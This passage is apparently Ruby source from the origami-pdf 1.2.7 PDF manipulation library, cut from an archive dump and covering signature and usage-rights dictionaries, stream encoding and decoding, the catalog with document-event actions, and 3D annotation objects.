String field :Location, :Type => String field :Reason, :Type => String field :ContactInfo, :Type => String field :R, :Type => Integer field :V, :Type => Integer, :Default => 0, :Version => "1.5" field :Prop_Build, :Type => Dictionary, :Version => "1.5" field :Prop_AuthTime, :Type => Integer, :Version => "1.5" field :Prop_AuthType, :Type => Name, :Version => "1.5" def pre_build #:nodoc: self.M = Origami::Date.now self.Prop_Build ||= BuildProperties.new.pre_build super end def to_s(dummy_param = nil) #:nodoc: indent = 1 pairs = self.to_a content = TOKENS.first + EOL pairs.sort_by{ |k| k.to_s }.reverse.each do |pair| key, value = pair[0].to_o, pair[1].to_o content << "\t" * indent + key.to_s + " " + (value.is_a?(Dictionary) ? value.to_s(indent + 1) : value.to_s) + EOL end content << "\t" * (indent - 1) + TOKENS.last output(content) end def sigOffset #:nodoc: base = 1 pairs = self.to_a content = "#{no} #{generation} obj" + EOL + TOKENS.first + EOL pairs.sort_by{ |k| k.to_s }.reverse.each do |pair| key, value = pair[0].to_o, pair[1].to_o if key == :Contents content << "\t" * base + key.to_s + " " return content.size else content << "\t" * base + key.to_s + " " + (value.is_a?(Dictionary) ? value.to_s(base+1) : value.to_s) + EOL end end nil end end # # Class representing a signature which can be embedded in DigitalSignature dictionary. # It must be a direct object. # class Reference < Dictionary include StandardObject field :Type, :Type => Name, :Default => :SigRef field :TransformMethod, :Type => Name, :Default => :DocMDP, :Required => true field :TransformParams, :Type => Dictionary field :Data, :Type => Object field :DigestMethod, :Type => Name, :Default => :MD5 field :DigestValue, :Type => String field :DigestLocation, :Type => Array def initialize(hash = {}) set_indirect(false) super(hash) end end class BuildProperties < Dictionary include StandardObject field :Filter, :Type => Dictionary, :Version => "1.5" field :PubSec, :Type => Dictionary, :Version => "1.5" field :App, :Type => Dictionary, :Version => "1.5" field :SigQ, :Type => Dictionary, :Version => "1.7" def initialize(hash = {}) set_indirect(false) super(hash) end def pre_build #:nodoc: self.Filter ||= BuildData.new self.Filter.Name ||= Name.new("Adobe.PPKMS") self.Filter.R ||= 0x2001D self.Filter.Date ||= Time.now.to_s self.SigQ ||= SigQData.new self.SigQ.Preview ||= false self.SigQ.R ||= 0x2001D self.PubSec ||= BuildData.new self.PubSec.NonEFontNoWarn ||= false self.PubSec.Date ||= Time.now.to_s self.PubSec.R ||= 0x2001D self.App ||= AppData.new self.App.TrustedMode ||= false self.App.OS ||= [ :Win ] self.App.R ||= 0x70000 self.App.Name ||= Name.new("Exchange-Pro") super end end class BuildData < Dictionary include StandardObject field :Name, :Type => Name, :Version => "1.5" field :Date, :Type => String, :Version => "1.5" field :R, :Type => Number, :Version => "1.5" field :PreRelease, :Type => Boolean, :Default => false, :Version => "1.5" field :OS, :Type => Array, :Version => "1.5" field :NonEFontNoWarn, :Type => Boolean, :Version => "1.5" field :TrustedMode, :Type => Boolean, :Version => "1.5" field :V, :Type => Number, :Version => "1.5" def initialize(hash = {}) set_indirect(false) super(hash) end end class AppData < BuildData field :REx, :Type => String, :Version => "1.6" end class SigQData < BuildData field :Preview, :Type => Boolean, :Default => false, :Version => "1.7" end end module UsageRights module Rights DOCUMENT_FULLSAVE = [:Document, :FullSave] DOCUMENT_ALL = DOCUMENT_FULLSAVE ANNOTS_CREATE = [:Annots, :Create] ANNOTS_DELETE = [:Annots, :Delete] ANNOTS_MODIFY = [:Annots, :Modify] ANNOTS_COPY = [:Annots, :Copy] ANNOTS_IMPORT = [:Annots, :Import] ANNOTS_EXPORT = [:Annots, :Export] ANNOTS_ONLINE = [:Annots, :Online] ANNOTS_SUMMARYVIEW = [:Annots, :SummaryView] ANNOTS_ALL = [ :Annots, :Create, :Modify, :Copy, :Import, :Export, :Online, :SummaryView ] FORM_FILLIN = [:Form, :FillIn] FORM_IMPORT = [:Form, :Import] FORM_EXPORT = [:Form, :Export] FORM_SUBMITSTANDALONE = [:Form, :SubmitStandAlone] FORM_SPAWNTEMPLATE = [:Form, :SpawnTemplate] FORM_BARCODEPLAINTEXT = [:Form, :BarcodePlaintext] FORM_ONLINE = [:Form, :Online] FORM_ALL = [:Form, :FillIn, :Import, :Export, :SubmitStandAlone, :SpawnTemplate, :BarcodePlaintext, :Online] FORMEX_BARCODEPLAINTEXT = [:FormEx, :BarcodePlaintext] FORMEX_ALL = FORMEX_BARCODEPLAINTEXT SIGNATURE_MODIFY = [:Signature, :Modify] SIGNATURE_ALL = SIGNATURE_MODIFY EF_CREATE = [:EF, :Create] EF_DELETE = [:EF, :Delete] EF_MODIFY = [:EF, :Modify] EF_IMPORT = [:EF, :Import] EF_ALL = [:EF, :Create, :Delete, :Modify, :Import] ALL = [ DOCUMENT_ALL, ANNOTS_ALL, FORM_ALL, SIGNATURE_ALL, EF_ALL ] end class TransformParams < Dictionary include StandardObject VERSION = Name.new("2.2") field :Type, :Type => Name, :Default => :TransformParams field :Document, :Type => Array field :Msg, :Type => String field :V, :Type => Name, :Default => VERSION field :Annots, :Type => Array field :Form, :Type => Array field :FormEx, :Type => Array field :Signature, :Type => Array field :EF, :Type => Array, :Version => "1.6" field :P, :Type => Boolean, :Default => false, :Version => "1.6" def initialize(hash = {}) set_indirect(false) super(hash) end end end end origami-pdf-1.2.7/lib/origami/stream.rb0000644000175000017500000003643412155654760020173 0ustar terceiroterceiro=begin = File stream.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'strscan' module Origami class InvalidStreamObjectError < InvalidObjectError #:nodoc: end # # Class representing a PDF Stream Object. # Streams can be used to hold any kind of data, especially binary data. # class Stream include Origami::Object include StandardObject TOKENS = [ "stream" + WHITECHARS_NORET + "\\r?\\n", "endstream" ] #:nodoc: @@regexp_open = Regexp.new(WHITESPACES + TOKENS.first) @@regexp_close = Regexp.new(TOKENS.last) @@cast_fingerprints = {} # # Actually only 5 first ones are implemented, other ones are mainly about image data processing (JPEG, JPEG2000 ... ) # @@defined_filters = [ :ASCIIHexDecode, :ASCII85Decode, :LZWDecode, :FlateDecode, :RunLengthDecode, # TODO :CCITTFaxDecode, :JBIG2Decode, :DCTDecode, :JPXDecode, # abbrev :AHx, # ASCIIHexDecode :A85, # ASCII85Decode :LZW, # LZWDecode :Fl, # FlateDecode :RL, # RunLengthDecode :CCF, # CCITTFaxDecode :DCT, # DCTDecode ] attr_accessor :dictionary field :Length, :Type => Integer, :Required => true field :Filter, :Type => [ Name, Array ] field :DecodeParms, :Type => [ Dictionary, Array ] field :F, :Type => Dictionary, :Version => "1.2" field :FFilter, :Type => [ Name, Array ], :Version => "1.2" field :FDecodeParms, :Type => [ Dictionary, Array ], :Version => "1.2" field :DL, :Type => Integer, :Version => "1.5" # # Creates a new PDF Stream. # _data_:: The Stream uncompressed data. # _dictionary_:: A hash representing the Stream attributes. # def initialize(data = "", dictionary = {}) super() set_indirect(true) @dictionary, @data = Dictionary.new(dictionary), data @dictionary.parent = self end def pre_build encode! super end def post_build self.Length = @rawdata.length super end def method_missing(field, *args) #:nodoc: if field.to_s[-1,1] == '=' self[field.to_s[0..-2].to_sym] = args.first else obj = self[field]; obj.is_a?(Reference) ? obj.solve : obj end end def self.parse(stream, parser = nil) #:nodoc: dictionary = Dictionary.parse(stream, parser) return dictionary if not stream.skip(@@regexp_open) length = dictionary[:Length] if not length.is_a?(Integer) rawdata = stream.scan_until(@@regexp_close) if rawdata.nil? raise InvalidStreamObjectError, "Stream shall end with a 'endstream' statement" end else length = length.value rawdata = stream.peek(length) stream.pos += length if not ( unmatched = stream.scan_until(@@regexp_close) ) raise InvalidStreamObjectError, "Stream shall end with a 'endstream' statement" end rawdata << unmatched end stm = if Origami::OPTIONS[:enable_type_guessing] self.guess_type(dictionary).new('', dictionary.to_h) else Stream.new('', dictionary.to_h) end rawdata.chomp!(TOKENS.last) if rawdata[-1,1] == "\n" if rawdata[-2,1] == "\r" rawdata = rawdata[0, rawdata.size - 2] else rawdata = rawdata[0, rawdata.size - 1] end end #rawdata.chomp! if length.is_a?(Integer) and length < rawdata.length stm.rawdata = rawdata stm.file_offset = dictionary.file_offset stm end def self.add_type_info(typeclass, key, value) #:nodoc: if not @@cast_fingerprints.has_key?(typeclass) and typeclass.superclass != Stream and @@cast_fingerprints.has_key?(typeclass.superclass) @@cast_fingerprints[typeclass] = @@cast_fingerprints[typeclass.superclass].dup end @@cast_fingerprints[typeclass] ||= {} @@cast_fingerprints[typeclass][key.to_o] = value.to_o end def self.guess_type(hash) #:nodoc: best_type = Stream @@cast_fingerprints.each_pair do |typeclass, keys| best_type = typeclass if keys.all? { |k,v| hash.has_key?(k) and hash[k] == v } and typeclass < best_type end best_type end def set_predictor(predictor, colors = 1, bitspercomponent = 8, columns = 1) filters = self.Filter filters = [ filters ] unless filters.is_a?(::Array) if not filters.include?(:FlateDecode) and not filters.include?(:LZWDecode) raise InvalidStreamObjectError, 'Predictor functions can only be used with Flate or LZW filters' end layer = filters.index(:FlateDecode) or filters.index(:LZWDecode) params = Filter::LZW::DecodeParms.new params[:Predictor] = predictor params[:Colors] = colors if colors != 1 params[:BitsPerComponent] = bitspercomponent if bitspercomponent != 8 params[:Columns] = columns if columns != 1 set_decode_params(layer, params) self end def cast_to(type) super(type) cast = type.new("", self.dictionary.to_h) cast.rawdata = @rawdata.dup cast.no, cast.generation = self.no, self.generation cast.set_indirect(true) cast.set_pdf(self.pdf) cast.file_offset = self.file_offset cast end def value #:nodoc: self end # # Returns the uncompressed stream content. # def data self.decode! if @data.nil? @data end # # Sets the uncompressed stream content. # _str_:: The new uncompressed data. # def data=(str) @rawdata = nil @data = str end # # Returns the raw compressed stream content. # def rawdata self.encode! if @rawdata.nil? @rawdata end # # Sets the raw compressed stream content. # _str_:: the new raw data. # def rawdata=(str) @rawdata = str @data = nil end # # Uncompress the stream data. # def decode! self.decrypt! if self.is_a?(Encryption::EncryptedStream) unless is_decoded? filters = self.Filter if filters.nil? @data = @rawdata.dup else case filters when Array, Name then dparams = self.DecodeParms || [] dparams = [ dparams ] unless dparams.is_a?(::Array) filters = [ filters ] unless filters.is_a?(::Array) @data = @rawdata.dup @data.freeze filters.length.times do |layer| params = dparams[layer].is_a?(Dictionary) ? dparams[layer] : {} filter = filters[layer] begin @data = decode_data(@data, filter, params) rescue Filter::InvalidFilterDataError => e @data = e.decoded_data if e.decoded_data raise InvalidStreamObjectError, "Error while decoding stream #{self.reference}\n\t-> [#{e.class}] #{e.message}" end end else raise InvalidStreamObjectError, "Invalid Filter type parameter" end end end self end # # Compress the stream data. # def encode! unless is_encoded? filters = self.Filter if filters.nil? @rawdata = @data.dup else case filters when Array, Name then dparams = self.DecodeParms || [] dparams = [ dparams ] unless dparams.is_a?(::Array) filters = [ filters ] unless filters.is_a?(::Array) @rawdata = @data.dup (filters.length - 1).downto(0) do |layer| params = dparams[layer].is_a?(Dictionary) ? dparams[layer] : {} filter = filters[layer] @rawdata = encode_data(@rawdata, filter, params) end else raise InvalidStreamObjectError, "Invalid filter type parameter" end end self.Length = @rawdata.length end self end def to_s(indent = 1) #:nodoc: content = "" content << @dictionary.to_s(indent) content << "stream" + EOL content << self.rawdata content << EOL << TOKENS.last super(content) end def [](key) #:nodoc: @dictionary[key] end def []=(key,val) #:nodoc: @dictionary[key] = val end def each_key(&b) #:nodoc: @dictionary.each_key(&b) end def self.native_type ; Stream end private def is_decoded? #:nodoc: not @data.nil? end def is_encoded? #:nodoc: not @rawdata.nil? end def set_decode_params(layer, params) #:nodoc: dparms = self.DecodeParms unless dparms.is_a? ::Array @dictionary[:DecodeParms] = dparms = [] end if layer > dparms.length - 1 dparms.concat(::Array.new(layer - dparms.length + 1, Null.new)) end dparms[layer] = params @dictionary[:DecodeParms] = dparms.first if dparms.length == 1 self end def decode_data(data, filter, params) #:nodoc: unless @@defined_filters.include?(filter.value) raise InvalidStreamObjectError, "Unknown filter : #{filter}" end Origami::Filter.const_get(filter.value.to_s.sub(/Decode$/,"")).decode(data, params) end def encode_data(data, filter, params) #:nodoc: unless @@defined_filters.include?(filter.value) raise InvalidStreamObjectError, "Unknown filter : #{filter}" end encoded = Origami::Filter.const_get(filter.value.to_s.sub(/Decode$/,"")).encode(data, params) if filter.value == :ASCIIHexDecode or filter.value == :ASCII85Decode encoded << Origami::Filter.const_get(filter.value.to_s.sub(/Decode$/,""))::EOD end encoded end end # # Class representing an external Stream. # class ExternalStream < Stream def initialize(filespec, hash = {}) hash[:F] = filespec super('', hash) end end class InvalidObjectStreamObjectError < InvalidStreamObjectError #:nodoc: end # # Class representing a Stream containing other Objects. # class ObjectStream < Stream include Enumerable NUM = 0 #:nodoc: OBJ = 1 #:nodoc: field :Type, :Type => Name, :Default => :ObjStm, :Required => true, :Version => "1.5" field :N, :Type => Integer, :Required => true field :First, :Type => Integer, :Required => true field :Extends, :Type => Stream # # Creates a new Object Stream. # _dictionary_:: A hash of attributes to set to the Stream. # _rawdata_:: The Stream data. # def initialize(rawdata = "", dictionary = {}) @objects = nil super(rawdata, dictionary) end def pre_build #:nodoc: load! if @objects.nil? prolog = "" data = "" objoff = 0 @objects.to_a.sort.each do |num,obj| obj.set_indirect(false) obj.objstm_offset = objoff prolog << "#{num} #{objoff} " objdata = "#{obj.to_s} " objoff += objdata.size data << objdata obj.set_indirect(true) obj.no = num end self.data = prolog + data @dictionary[:N] = @objects.size @dictionary[:First] = prolog.size super end # # Adds a new Object to this Stream. # _object_:: The Object to append. # def <<(object) unless object.generation == 0 raise InvalidObjectError, "Cannot store an object with generation > 0 in an ObjectStream" end if object.is_a?(Stream) raise InvalidObjectError, "Cannot store a Stream in an ObjectStream" end load! if @objects.nil? object.no, object.generation = @pdf.alloc_new_object_number if object.no == 0 object.set_indirect(true) # object is indirect object.parent = self # set this stream as the parent object.set_pdf(@pdf) # indirect objects need pdf information @objects[object.no] = object Reference.new(object.no, 0) end alias :insert :<< # # Deletes Object _no_. # def delete(no) load! if @objects.nil? @objects.delete(no) end # # Returns the index of Object _no_. # def index(no) ind = 0 @objects.to_a.sort.each { |num, obj| return ind if num == no ind = ind + 1 } nil end # # Returns a given decompressed object contained in the Stream. # _no_:: The Object number. # def extract(no) load! if @objects.nil? @objects[no] end # # Returns a given decompressed object by index. # _index_:: The Object index in the ObjectStream. # def extract_by_index(index) load! if @objects.nil? @objects.to_a.sort[index] end # # Returns whether a specific object is contained in this stream. # _no_:: The Object number. # def include?(no) load! if @objects.nil? @objects.include?(no) end # # Iterates over each object in the stream. # def each(&b) load! if @objects.nil? @objects.values.each(&b) end # # Returns the array of inner objects. # def objects load! if @objects.nil? @objects.values end private def load! #:nodoc: decode! data = StringScanner.new(@data) nums = [] offsets = [] @dictionary[:N].to_i.times do nums << Integer.parse(data).to_i offsets << Integer.parse(data) end @objects = {} nums.size.times do |i| type = Object.typeof(data) raise InvalidObjectStreamObjectError, "Bad embedded object format in object stream" if type.nil? embeddedobj = type.parse(data) embeddedobj.set_indirect(true) # object is indirect embeddedobj.no = nums[i] # object number embeddedobj.parent = self # set this stream as the parent embeddedobj.set_pdf(@pdf) # indirect objects need pdf information embeddedobj.objstm_offset = offsets[i] @objects[nums[i]] = embeddedobj end end end end origami-pdf-1.2.7/lib/origami/catalog.rb0000644000175000017500000003672412142214376020303 0ustar terceiroterceiro=begin = File catalog.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF # # Sets PDF extension level and version. Only supported values are "1.7" and 3. # def set_extension_level(version, level) exts = (self.Catalog.Extensions ||= Extensions.new) exts[:ADBE] = DeveloperExtension.new exts[:ADBE].BaseVersion = Name.new(version) exts[:ADBE].ExtensionLevel = level self end # # Returns the current Catalog Dictionary. # def Catalog cat = get_doc_attr(:Root) case cat when Catalog then cat when Dictionary then casted = Catalog.new(cat) casted.no, casted.generation = cat.no, cat.generation casted.set_indirect(true) casted.set_pdf(self) casted else raise InvalidPDFError, "Broken catalog" end end # # Sets the current Catalog Dictionary. # def Catalog=(cat) #unless cat.is_a?(Catalog) # raise TypeError, "Expected type Catalog, received #{cat.class}" #end cat = Catalog.new(cat) unless cat.is_a? Catalog if @revisions.last.trailer.Root delete_object(@revisions.last.trailer[:Root]) end @revisions.last.trailer.Root = self << cat end # # Sets an action to run on document opening. # _action_:: An Action Object. # def onDocumentOpen(action) unless action.is_a?(Action) or action.is_a?(Destination) or action.is_a?(Reference) raise TypeError, "An Action object must be passed." end unless self.Catalog raise InvalidPDFError, "A catalog object must exist to add this action." end self.Catalog.OpenAction = action self end # # Sets an action to run on document closing. # _action_:: A JavaScript Action Object. # def onDocumentClose(action) unless action.is_a?(Action::JavaScript) or action.is_a?(Reference) raise TypeError, "An Action::JavaScript object must be passed." end unless self.Catalog raise InvalidPDFError, "A catalog object must exist to add this action." end self.Catalog.AA ||= CatalogAdditionalActions.new self.Catalog.AA.WC = action self end # # Sets an action to run on document printing. # _action_:: A JavaScript Action Object. # def onDocumentPrint(action) unless action.is_a?(Action::JavaScript) or action.is_a?(Reference) raise TypeError, "An Action::JavaScript object must be passed." end unless self.Catalog raise InvalidPDFError, "A catalog object must exist to add this action." end self.Catalog.AA ||= CatalogAdditionalActions.new self.Catalog.AA.WP = action end # # Registers an object into a specific Names root dictionary. # _root_:: The root dictionary (see Names::Root) # _name_:: The value name. # _value_:: The value to associate with this name. # def register(root, name, value) self.Catalog.Names ||= Names.new value.set_indirect(true) unless value.is_a? Reference namesroot = self.Catalog.Names[root] if namesroot.nil? names = NameTreeNode.new(:Names => []).set_indirect(true) self.Catalog.Names[root] = names names.Names << name << value else namesroot.solve[:Names] << name << value end end def each_name(root, &b) namesroot = get_names_root(root) return if namesroot.nil? each_name_from_node(namesroot, [], &b) self end # # Retrieve the corresponding value associated with _name_ in # the specified _root_ name directory, or nil if the value does # not exist. # def resolve_name(root, name) namesroot = get_names_root(root) return nil if namesroot.nil? resolve_name_from_node(namesroot, name) end # # Returns a Hash of all names under specified _root_ name directory. # Returns nil if the directory does not exist. # def ls_names(root) namesroot = get_names_root(root) return {} if namesroot.nil? names = names_from_node(namesroot) if names.length % 2 != 0 return InvalidNameTreeError, "Odd number of elements" end Hash[*names] end private def names_from_node(node, browsed_nodes = []) #:nodoc: children = [] unless browsed_nodes.any? {|browsed| browsed.equal?(node)} browsed_nodes.push(node) if node.has_key?(:Names) # leaf node children.concat(node.Names) elsif node.has_key?(:Kids) # intermediate node node.Kids.each do |kid| children.concat(names_from_node(kid.solve, browsed_nodes)) end end end children end def resolve_name_from_node(node, name, browsed_nodes = []) #:nodoc: unless browsed_nodes.any? {|browsed| browsed.equal?(node)} browsed_nodes.push(node) if node.has_key?(:Names) # leaf node limits = node.Limits if limits min, max = limits[0].value, limits[1].value if (min..max) === name.to_str names = Hash[*node.Names] target = names[name] return target && target.solve end else names = Hash[*node.Names] target = names[name] return target && target.solve end elsif node.has_key?(:Kids) # intermediate node node.Kids.each do |kid| kid = kid.solve limits = kid.Limits min, max = limits[0].value, limits[1].value if (min..max) === name.to_str return resolve_name_from_node(kid, name, browsed_nodes) end end end end end def each_name_from_node(node, browsed_nodes = [], &b) #:nodoc: if node.has_key?(:Names) # leaf node names = Hash[*node.Names] names.each_pair do |name, value| b.call(name, value.solve) end elsif node.has_key?(:Kids) # intermediate node node.Kids.each do |kid| each_name_from_node(kid.solve, browsed_nodes, &b) end end end def get_names_root(root) #:nodoc: namedirs = self.Catalog.Names return nil if namedirs.nil? or namedirs[root].nil? namedirs[root].solve end end module PageLayout #:nodoc: SINGLE = :SinglePage ONE_COLUMN = :OneColumn TWO_COLUMN_LEFT = :TwoColumnLeft TWO_COLUMN_RIGHT = :TwoColumnRight TWO_PAGE_LEFT = :TwoPageLeft TWO_PAGE_RIGHT = :TwoPageRight end module PageMode #:nodoc: NONE = :UseNone OUTLINES = :UseOutlines THUMBS = :UseThumbs FULLSCREEN = :FullScreen OPTIONAL_CONTENT = :UseOC ATTACHMENTS = :UseAttachments end # # Class representing additional actions which can be associated with a Catalog. # class CatalogAdditionalActions < Dictionary include StandardObject field :WC, :Type => Dictionary, :Version => "1.4" field :WS, :Type => Dictionary, :Version => "1.4" field :DS, :Type => Dictionary, :Version => "1.4" field :WP, :Type => Dictionary, :Version => "1.4" field :DP, :Type => Dictionary, :Version => "1.4" end class InvalidNameTreeError < Exception #:nodoc: end # # Class representing the Names Dictionary of a PDF file. # class Names < Dictionary include StandardObject # # Defines constants for Names tree root entries. # module Root DESTS = :Dests AP = :AP JAVASCRIPT = :JavaScript PAGES = :Pages TEMPLATES = :Templates IDS = :IDS URLS = :URLS EMBEDDEDFILES = :EmbeddedFiles ALTERNATEPRESENTATIONS = :AlternatePresentations RENDITIONS = :Renditions XFARESOURCES = :XFAResources end field Root::DESTS, :Type => Dictionary, :Version => "1.2" field Root::AP, :Type => Dictionary, :Version => "1.3" field Root::JAVASCRIPT, :Type => Dictionary, :Version => "1.3" field Root::PAGES, :Type => Dictionary, :Version => "1.3" field Root::TEMPLATES, :Type => Dictionary, :Version => "1.3" field Root::IDS, :Type => Dictionary, :Version => "1.3" field Root::URLS, :Type => Dictionary, :Version => "1.3" field Root::EMBEDDEDFILES, :Type => Dictionary, :Version => "1.4" field Root::ALTERNATEPRESENTATIONS, :Type => Dictionary, :Version => "1.4" field Root::RENDITIONS, :Type => Dictionary, :Version => "1.5" field Root::XFARESOURCES, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 end # # Class representing a node in a Name tree. # class NameTreeNode < Dictionary include StandardObject field :Kids, :Type => Array field :Names, :Type => Array field :Limits, :Type => Array end # # Class representing a leaf in a Name tree. # class NameLeaf < Origami::Array # # Creates a new leaf in a Name tree. # _hash_:: A hash of couples, associating a Name with an Reference. # def initialize(hash = {}) names = [] hash.each_pair do |k,v| names << k.to_o << v.to_o end super(names) end end # # Class representing the ViewerPreferences Dictionary of a PDF. # This dictionary modifies the way the UI looks when the file is opened in a viewer. # class ViewerPreferences < Dictionary include StandardObject field :HideToolbar, :Type => Boolean, :Default => false field :HideMenubar, :Type => Boolean, :Default => false field :HideWindowUI, :Type => Boolean, :Default => false field :FitWindow, :Type => Boolean, :Default => false field :CenterWindow, :Type => Boolean, :Default => false field :DisplayDocTitle, :Type => Boolean, :Default => false, :Version => "1.4" field :NonFullScreenPageMode, :Type => Name, :Default => :UseNone field :Direction, :Type => Name, :Default => :L2R field :ViewArea, :Type => Name, :Default => :CropBox, :Version => "1.4" field :ViewClip, :Type => Name, :Default => :CropBox, :Version => "1.4" field :PrintArea, :Type => Name, :Default => :CropBox, :Version => "1.4" field :PrintClip, :Type => Name, :Default => :CropBox, :Version => "1.4" field :PrintScaling, :Type => Name, :Default => :AppDefault, :Version => "1.6" field :Duplex, :Type => Name, :Default => :Simplex, :Version => "1.7" field :PickTrayByPDFSize, :Type => Boolean, :Version => "1.7" field :PrintPageRange, :Type => Array, :Version => "1.7" field :NumCopies, :Type => Integer, :Version => "1.7" field :Enforce, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 end class Requirement < Dictionary include StandardObject class Handler < Dictionary include StandardObject module Type JS = :JS NOOP = :NoOp end field :Type, :Type => Name, :Default => :ReqHandler field :S, :Type => Name, :Default => Type::NOOP, :Required => true field :Script, :Type => ByteString end field :Type, :Type => Name, :Default => :Requirement field :S, :Type => Name, :Default => :EnableJavaScripts, :Version => "1.7", :Required => true field :RH, :Type => Array end # # Class representing an extension Dictionary. # class Extensions < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Extensions end # # Class representing a developer extension. # class DeveloperExtension < Dictionary include StandardObject field :Type, :Type => Name, :Default => :DeveloperExtensions field :BaseVersion, :Type => Name, :Required => true field :ExtensionLevel, :Type => Integer, :Required => true end # # Class representing the Catalog Dictionary of a PDF file. # class Catalog < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Catalog, :Required => true field :Version, :Type => Name, :Version => "1.4" field :Pages, :Type => Dictionary, :Required => true field :PageLabels, :Type => Dictionary, :Version => "1.3" field :Names, :Type => Dictionary, :Version => "1.2" field :Dests, :Type => Dictionary, :Version => "1.1" field :ViewerPreferences, :Type => ViewerPreferences, :Version => "1.2" field :PageLayout, :Type => Name, :Default => PageLayout::SINGLE field :PageMode, :Type => Name, :Default => PageMode::NONE field :Outlines, :Type => Dictionary field :Threads, :Type => Array, :Version => "1.1" field :OpenAction, :Type => [ Array, Dictionary ], :Version => "1.1" field :AA, :Type => Dictionary, :Version => "1.4" field :URI, :Type => Dictionary, :Version => "1.1" field :AcroForm, :Type => Dictionary, :Version => "1.2" field :Metadata, :Type => Stream, :Version => "1.4" field :StructTreeRoot, :Type => Dictionary, :Version => "1.3" field :MarkInfo, :Type => Dictionary, :Version => "1.4" field :Lang, :Type => String, :Version => "1.4" field :SpiderInfo, :Type => Dictionary, :Version => "1.3" field :OutputIntents, :Type => Array, :Version => "1.4" field :PieceInfo, :Type => Dictionary, :Version => "1.4" field :OCProperties, :Type => Dictionary, :Version => "1.5" field :Perms, :Type => Dictionary, :Version => "1.5" field :Legal, :Type => Dictionary, :Version => "1.5" field :Requirements, :Type => Array, :Version => "1.7" field :Collection, :Type => Dictionary, :Version => "1.7" field :NeedsRendering, :Type => Boolean, :Version => "1.7", :Default => false field :Extensions, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 def initialize(hash = {}) set_indirect(true) super(hash) end end end origami-pdf-1.2.7/lib/origami/3d.rb0000644000175000017500000002127712101464040017162 0ustar terceiroterceiro=begin = File 3d.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class Annotation # # 3D Artwork annotation. # class Artwork3D < Annotation field :Subtype, :Type => Name, :Default => :"3D", :Version => "1.6", :Required => true field :"3DD", :Type => [ Dictionary, Stream ], :Required => true field :"3DV", :Type => Object field :"3DA", :Type => Dictionary field :"3DI", :Type => Boolean, :Default => true field :"3DB", :Type => Array class Activation < Dictionary include StandardObject module Events PAGE_OPEN = :PO PAGE_CLOSE = :PC PAGE_VISIBLE = :PV PAGE_INVISIBLE = :PI USER_ACTIVATE = :XA USER_DEACTIVATE = :XD end module State UNINSTANCIATED = :U INSTANCIATED = :I LIVE = :L end field :A, :Type => Name, :Default => Events::USER_ACTIVATE field :AIS, :Type => Name, :Default => State::LIVE field :D, :Type => Name, :Default => Events::PAGE_INVISIBLE field :DIS, :Type => Name, :Default => State::UNINSTANCIATED field :TB, :Type => Boolean, :Version => "1.7", :Default => true field :NP, :Type => Boolean, :Version => "1.7", :Default => false end end end class U3DStream < Stream include StandardObject field :Type, :Type => Name, :Default => :"3D" field :Subtype, :Type => Name, :Default => :U3D, :Required => true field :VA, :Type => Dictionary field :DV, :Type => Object field :Resources, :Type => Dictionary field :OnInstantiate, :Type => Stream field :AN, :Type => Dictionary def onInstantiate(action) self[:OnInstantiate] = action end end class AnimationStyle3D < Dictionary include StandardObject module Styles NONE = :None LINEAR = :Linear OSCILLATING = :Oscillating end field :Type, :Type => Name, :Default => "3DAnimationStyle" field :Subtype, :Type => Name, :Default => Styles::NONE field :PC, :Type => Integer, :Default => 0 field :TM, :Type => Number, :Default => 1 end class Reference3D < Dictionary include StandardObject field :Type, :Type => Name, :Default => :"3DRef" field :"3DD", :Type => Stream end class View3D < Dictionary include StandardObject field :Type, :Type => Name, :Default => :"3DView" field :XN, :Type => ByteString, :Required => true field :IN, :Type => ByteString field :MS, :Type => Name field :C2W, :Type => Array field :U3DPath, :Type => [ ByteString, Array ] field :CO, :Type => Number field :P, :Type => Dictionary field :O, :Type => Stream field :BG, :Type => Dictionary field :RM, :Type => Dictionary, :Version => "1.7" field :LS, :Type => Dictionary, :Version => "1.7" field :SA, :Type => Array, :Version => "1.7" field :NA, :Type => Array, :Version => "1.7" field :NR, :Type => Boolean, :Version => "1.7", :Default => false end class Projection3D < Dictionary include StandardObject ORTHOGRAPHIC = :O PERSPECTIVE = :P module ClippingStyles EXPLICIT_NEARFAR = :XNF AUTOMATIC_NEARFAR = :ANF end module Scaling WIDTH = :W HEIGHT = :H MINIMUM = :Min MAXIMUM = :Max ABSOLUTE = :Absolute end field :Subtype, :Type => Name, :Default => ORTHOGRAPHIC field :CS, :Type => Name, :Default => ClippingStyles::AUTOMATIC_NEARFAR field :F, :Type => Number field :N, :Type => Number field :FOV, :Type => Number field :PS, :Type => [ Number, Name ], :Default => Scaling::WIDTH field :OS, :Type => Number, :Default => 1 field :OB, :Type => Name, :Version => "1.7", :Default => Scaling::ABSOLUTE end class Background3D < Dictionary include StandardObject field :Type, :Type => Name, :Default => :"3DBG" field :Subtype, :Type => Name, :Default => :SC field :CS, 